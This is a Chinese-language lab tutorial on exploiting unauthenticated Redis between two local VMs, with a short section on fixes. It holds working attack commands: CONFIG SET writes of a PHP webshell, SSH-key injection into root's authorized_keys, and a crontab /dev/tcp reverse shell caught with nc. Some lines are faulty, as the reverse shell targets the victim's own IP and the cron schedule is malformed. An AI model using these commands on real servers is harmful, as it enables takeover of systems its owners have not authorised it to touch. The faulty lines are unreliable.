原理:

redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh/authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

环境:

靶机:Ubuntu:5.4.0-42-generic      192.168.6.217
攻击机:Kali  5.16.0-kali7-amd64    192.168.6.212

安装redis:

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
#解压后需要编译
make
make报错:make MALLOC=libc     make distclean
#进入src目录,将redis-server复制到/usr/bin目录下(这样启动redis-server就不用每次都进入安装目录了)
cp redis-server /usr/bin
#将redis配置文件复制到/etc目录下
cp redis.conf /etc

服务端启动redis-server同时加载配置文件:

redis-server /etc/redis.conf  & (&后台运行)
ps -aux | grep redis (查看是否启动)

 攻击机安装redis客户端。与上述步骤相同:

#查看redis-cli使用说明:
redis-cli -h 目标主机IP地址 -p 端口号

未授权访问漏洞测试:

使用redis客户端直接无账号登录redis:

 

查询发现Redis的主机直接暴露于绑定到所有接口是危险的,会暴露互联网上每个人的实例。遵循bin指令,这将强制Redis只接受来自同一台主机连接运行。

解决办法:

在redis的服务端修改配置文件/etc/redis.conf中bind为0.0.0.0,以及关闭保护模式和关闭防火墙iptables -F:

 再次进行未授权访问:

 

利用redis写webshell

由于本地搭建,我们已经知道目录,我们把shell写入/home/muhong/Documents/目录下:

 若爆错:

(error) ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config

解决办法:

config set slave-read-only no

还不行的话使用info查看一下版本,换一个版本,可能是版本太高了,换一个低一点的版本。

换成redis-6.0.3版本,和上述步骤一样进行操作。

wget http://download.redis.io/releases/redis-6.0.3.tar.gz

同样我们把shell写入/home/xxxx/Documents/目录下:

config set dir /home/xxxx/Documents
config set dbfilename redis.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"   #用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
save

 shell写入完成,我们在靶机上证明:

 成功写入shell。

利用‘’公私钥“认证获取root权限:

当reids以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

靶机中开启redis服务。在靶机中执行 mkdir  /root/.ssh命令,创建ssh公钥存放目录。

在攻击机中生成ssh公钥和私钥,密码设置为空:

进入.ssh目录:cd /root/.ssh ,将生成的公钥保存到1.txt:

连接靶机上的redis服务,将保存的ssh公钥1.txt写入redis:

远程登录靶机的redis服务:

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

 设置上传公钥的备份文件名字为authorized_keys:

CONFIG SET dbfilename authorized_keys

检查是否更改成功,成功就保存后退出。

 成功写入ssh公钥到靶机。在攻击机使用ssh免密登录靶机:

出现上述情况,把靶机中的ssh服务打开。

#安装sshd
apt-get isntall openssh-server
#启动
service ssh restart
#关闭防火墙
ufw disable
#查看是否有sshd进程
ps -ef | grep ssh

再次使用攻击机ssh免密登录:

 使用私钥成功登录redis服务器。

利用crontab反弹shell

在权限足够的情况下。利用redis写入文件到计划任务目录下执行。

端口监听:

在攻击者服务器上监听一个端口:

nc -lvp 8888

攻击详情:

连接redis,写入反弹shell:

redis-cli -h 192.168.6.217 
set xxx "\r\n*/**** /bin/bash -i >&/dev/tcp/192.168.6.217/8888 0>&1\r\n"
config set dir /var/spool/cron
config set dbfilename root
save

过一分钟左右就可以收到shell。

解决方案

绑定IP

在redis.conf 文件中找到配置,将IP地址改为允许访问redis的IP。

设置密码

在redis.conf配置文件中找到requirepass,然后修改。

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐